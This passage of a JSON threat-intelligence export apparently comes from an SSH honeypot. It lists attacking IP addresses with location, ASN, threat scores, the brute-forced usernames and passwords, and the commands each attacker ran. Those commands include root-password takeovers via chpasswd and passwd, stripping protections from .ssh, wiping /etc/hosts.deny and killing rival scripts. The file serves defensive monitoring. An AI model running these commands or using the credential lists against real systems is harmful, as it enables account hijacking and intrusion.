      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T23:49:46.888000+00:00",
        "last_seen_30d": "2026-05-22T23:51:48.132000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "80.12.253.196": {
      "attack_count": 2,
      "first_seen": "2026-05-08T17:02:58.377Z",
      "last_seen": "2026-05-08T17:03:10.921Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "R\u00e9union",
      "country_code": "RE",
      "city": null,
      "asn": 199140,
      "as_org": "Orange",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T17:02:58.377000+00:00",
        "last_seen_30d": "2026-05-08T17:04:13.941000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.192.188.123": {
      "attack_count": 2,
      "first_seen": "2026-05-10T09:24:36.366Z",
      "last_seen": "2026-05-10T09:24:49.775Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Orenburg",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T09:24:36.366000+00:00",
        "last_seen_30d": "2026-05-10T09:25:50.810000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "2.57.122.238": {
      "attack_count": 1743,
      "first_seen": "2026-05-02T11:14:53.574Z",
      "last_seen": "2026-05-30T19:29:55.158Z",
      "sessions": 350,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solv",
        "ethereum",
        "node",
        "ubuntu",
        "validator",
        "solana"
      ],
      "passwords_attempted": [
        "12345678",
        "123",
        "1234",
        "123456",
        "ethereum",
        "node",
        "sol",
        "sol123",
        "solv",
        "ubuntu",
        "validator",
        "solana"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 64.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 2597,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T11:14:02.509000+00:00",
        "last_seen_30d": "2026-05-30T19:31:04.873000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1743,
        "Suricata": 854
      }
    },
    "119.28.100.204": {
      "attack_count": 440,
      "first_seen": "2026-05-18T17:08:21.214Z",
      "last_seen": "2026-05-18T17:37:21.290Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0okm9ijn",
        "102030",
        "136161",
        "Mexico123",
        "Qwe123!!",
        "Redvirtual09",
        "a1234567",
        "abc.123456",
        "dallas",
        "federico",
        "imprime",
        "qweasd123",
        "samara",
        "singularity",
        "sparky",
        "tsalarian",
        "tybalt1",
        "unique"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1u7AyiC6Svr6\"|chpasswd|bash",
        "echo \"root:Dm32f97dHto7\"|chpasswd|bash",
        "echo \"root:RVPL8HTtylGs\"|chpasswd|bash",
        "echo \"root:hgkWViVvpM5U\"|chpasswd|bash",
        "echo \"root:q58tbUvnzR6t\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 506,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:08:21.214000+00:00",
        "last_seen_30d": "2026-05-18T17:38:31.233000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 440,
        "Suricata": 66
      }
    },
    "203.83.231.93": {
      "attack_count": 355,
      "first_seen": "2026-05-10T03:40:10.824Z",
      "last_seen": "2026-05-23T16:16:59.046Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "aroot",
        "dev",
        "dspace",
        "ibrahim",
        "malik",
        "mysql",
        "odoo15",
        "service",
        "sysadmin",
        "test002",
        "test1",
        "test2",
        "testing",
        "trading",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "111111Aa",
        "123123",
        "123456a.",
        "123pass!@#",
        "1qaz1QAZ",
        "20232023",
        "Aa123456",
        "Admin99",
        "Asd123456",
        "King@123",
        "P@SSW0rd",
        "Q1w2e3r4t5y6",
        "Test",
        "abc123",
        "abc123!",
        "aiculedssul",
        "ak123456"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:90y3LGpQZvSK\"|chpasswd|bash",
        "echo \"root:DVtrPXPFp68P\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134768,
      "as_org": "CHINANET SHAANXI province Cloud Base network",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.0,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 498,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T03:40:10.824000+00:00",
        "last_seen_30d": "2026-05-23T16:26:34.906000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 355,
        "Suricata": 143
      }
    },
    "186.103.169.12": {
      "attack_count": 351,
      "first_seen": "2026-05-02T04:47:58.422Z",
      "last_seen": "2026-05-02T05:25:49.104Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "ali",
        "guest",
        "mysql",
        "test",
        "aitest",
        "alfresco",
        "esuser",
        "ftptest",
        "joe",
        "oracle",
        "postgres",
        "smbtest",
        "testtest",
        "testuser",
        "ts3s",
        "user",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1qaz\"WSX",
        "1qaz@WSX#EDC",
        "222222",
        "3",
        "54",
        "654321",
        "@test",
        "Aa123456",
        "P@ssw0rd123456",
        "Qwerty",
        "admin",
        "admin@13",
        "admin@@",
        "aitest",
        "esuser",
        "mysql2021",
        "mysql@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"222222\\nVXzmmmsoPHyL\\nVXzmmmsoPHyL\\n\"|passwd",
        "echo \"54\\neoGEbL0zpphn\\neoGEbL0zpphn\\n\"|passwd",
        "echo \"root:QmkZ3HbM2gah\"|chpasswd|bash",
        "echo -e \"222222\\nVXzmmmsoPHyL\\nVXzmmmsoPHyL\"|passwd|bash",
        "echo -e \"54\\neoGEbL0zpphn\\neoGEbL0zpphn\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "San Bernardo",
      "asn": 15311,
      "as_org": "TELEFONICA EMPRESAS CHILE SA",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 428,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:47:58.422000+00:00",
        "last_seen_30d": "2026-05-02T05:26:53.310000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 351,
        "Suricata": 77
      }
    },
    "37.143.61.248": {
      "attack_count": 311,
      "first_seen": "2026-05-17T14:12:09.173Z",
      "last_seen": "2026-05-23T21:38:00.440Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ankit",
        "dave",
        "dockeruser",
        "frontend",
        "gg",
        "hlw",
        "leo",
        "mailuser",
        "odoo",
        "rk",
        "sammy",
        "sftpuser",
        "simon",
        "sysadmin",
        "ttuser",
        "ubuntu",
        "user",
        "zeshan"
      ],
      "passwords_attempted": [
        "1",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456798",
        "12345Qwerty",
        "1234qwer",
        "1qaz2WSX",
        "1qaz@wsX",
        "ADMIN123",
        "India@1234",
        "Pa$$w0rd",
        "Root12345",
        "Test2024!",
        "Test2026!",
        "Xy12345678",
        "Zw123456",
        "a1s2d3f4",
        "abracadabra"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:WSdTapkPiMGM\"|chpasswd|bash",
        "echo \"root:pmiGYfjVM3HY\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 42831,
      "as_org": "UK Dedicated Servers Limited",
      "threat_score": 32.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 406,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T14:12:09.173000+00:00",
        "last_seen_30d": "2026-05-23T21:39:08.892000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 311,
        "Suricata": 95
      }
    },
    "222.253.40.231": {
      "attack_count": 273,
      "first_seen": "2026-05-03T07:15:01.794Z",
      "last_seen": "2026-05-03T07:55:43.196Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "admin",
        "deploy",
        "345gs5662d34",
        "Ubuntu",
        "devops",
        "ensadmin",
        "git",
        "labuser2",
        "mysql1",
        "testuser1"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$%^&*()",
        "!QAZ1qaz",
        "1111",
        "1q2w3e4r5t",
        "1qaz@WSX#EDC",
        "2",
        "20252025",
        "Qwe123",
        "abc.123",
        "adm",
        "admin!!",
        "admin@test",
        "asdasd",
        "dev",
        "devops@123",
        "ensadmin",
        "labuser2"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1111\\nEXSomMkzicZK\\nEXSomMkzicZK\\n\"|passwd",
        "echo \"2\\nJD2rzhYAnXs8\\nJD2rzhYAnXs8\\n\"|passwd",
        "echo -e \"1111\\nEXSomMkzicZK\\nEXSomMkzicZK\"|passwd|bash",
        "echo -e \"2\\nJD2rzhYAnXs8\\nJD2rzhYAnXs8\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 347,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T07:15:01.794000+00:00",
        "last_seen_30d": "2026-05-03T07:56:44.578000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 273,
        "Suricata": 74
      }
    },
    "161.81.239.198": {
      "attack_count": 248,
      "first_seen": "2026-05-19T07:08:22.351Z",
      "last_seen": "2026-05-19T17:57:18.221Z",
      "sessions": 124,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 137872,
      "as_org": "China Mobile Hong Kong Company Limited",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 372,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:08:22.351000+00:00",
        "last_seen_30d": "2026-05-19T17:58:26.944000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 248,
        "Suricata": 124
      }
    },
    "43.135.177.217": {
      "attack_count": 236,
      "first_seen": "2026-05-17T18:30:03.713Z",
      "last_seen": "2026-05-17T18:54:34.480Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123qweZXC",
        "135858",
        "2014qwer",
        "555",
        "aaa123",
        "aaaaaaaaaaaa",
        "admin2014",
        "asteriskftp",
        "elena123",
        "hj123",
        "morgan",
        "nowone",
        "pa123",
        "penguin",
        "pragma",
        "teddy",
        "testing123456",
        "transltr"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:BS6o5R3pETIJ\"|chpasswd|bash",
        "echo \"root:ZdZDb2X5Wq46\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T18:30:03.713000+00:00",
        "last_seen_30d": "2026-05-17T18:55:36.329000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "101.32.240.31": {
      "attack_count": 219,
      "first_seen": "2026-05-10T07:51:44.738Z",
      "last_seen": "2026-05-10T08:25:30.213Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "ubuntu",
        "deploy",
        "test",
        "user",
        "vps",
        "345gs5662d34",
        "admin1",
        "ali",
        "linux",
        "mcserver",
        "mongo",
        "root",
        "ss3server",
        "test6",
        "ts3",
        "wp-admin"
      ],
      "passwords_attempted": [
        "123456",
        "1111",
        "12121212",
        "123",
        "1qaz!QAZ",
        "2000",
        "3245gs5662d34",
        "345gs5662d34",
        "95217",
        "ADMIN@123",
        "Aa12345678",
        "Huawei@123",
        "P@ssw0rd",
        "P@ssword1!",
        "Qwerty123",
        "admin!@#$%",
        "centos",
        "deploy@321",
        "dev12345",
        "p@ssword"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\nza2cDEfY1ufL\\nza2cDEfY1ufL\\n\"|passwd",
        "echo -e \"123\\nza2cDEfY1ufL\\nza2cDEfY1ufL\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T07:51:44.738000+00:00",
        "last_seen_30d": "2026-05-10T08:26:36.541000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "211.46.177.174": {
      "attack_count": 219,
      "first_seen": "2026-05-11T15:32:24.756Z",
      "last_seen": "2026-05-11T16:42:30.232Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "ubuntu",
        "test",
        "user",
        "345gs5662d34",
        "arma3server",
        "demo",
        "deploy",
        "dev2",
        "elasticuser",
        "guest",
        "hadoop",
        "myuser",
        "sysadmin",
        "tmpuser",
        "ts3",
        "user1",
        "user2",
        "userftp"
      ],
      "passwords_attempted": [
        "123",
        "1",
        "12345",
        "123456qq",
        "123qwe",
        "12qwaszx",
        "1qaz",
        "3245gs5662d34",
        "345gs5662d34",
        "Pa55word",
        "Qaz123!@#",
        "a123",
        "admin",
        "admin1010",
        "admin789",
        "admin@2017",
        "adminpass123",
        "aerohive",
        "dev2",
        "elasticuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12qwaszx\\nctg4yYr6hyRA\\nctg4yYr6hyRA\\n\"|passwd",
        "echo -e \"12qwaszx\\nctg4yYr6hyRA\\nctg4yYr6hyRA\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Cheonan-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T15:32:24.756000+00:00",
        "last_seen_30d": "2026-05-11T16:43:39.305000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "203.161.39.120": {
      "attack_count": 192,
      "first_seen": "2026-05-29T06:13:58.715Z",
      "last_seen": "2026-05-29T06:36:28.226Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "deamon",
        "info",
        "laravel",
        "monitor",
        "pzuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "Abcd2024",
        "Ai123456",
        "Root!123",
        "a123456789*",
        "asd1230.",
        "deamon",
        "fjbdfdjkdsfs541544",
        "info",
        "laravel",
        "monitor"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"fjbdfdjkdsfs541544\\nzvVoFtwb14T7\\nzvVoFtwb14T7\\n\"|passwd",
        "echo \"root:0JQcKqEdJPDi\"|chpasswd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\nzvVoFtwb14T7\\nzvVoFtwb14T7\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 22612,
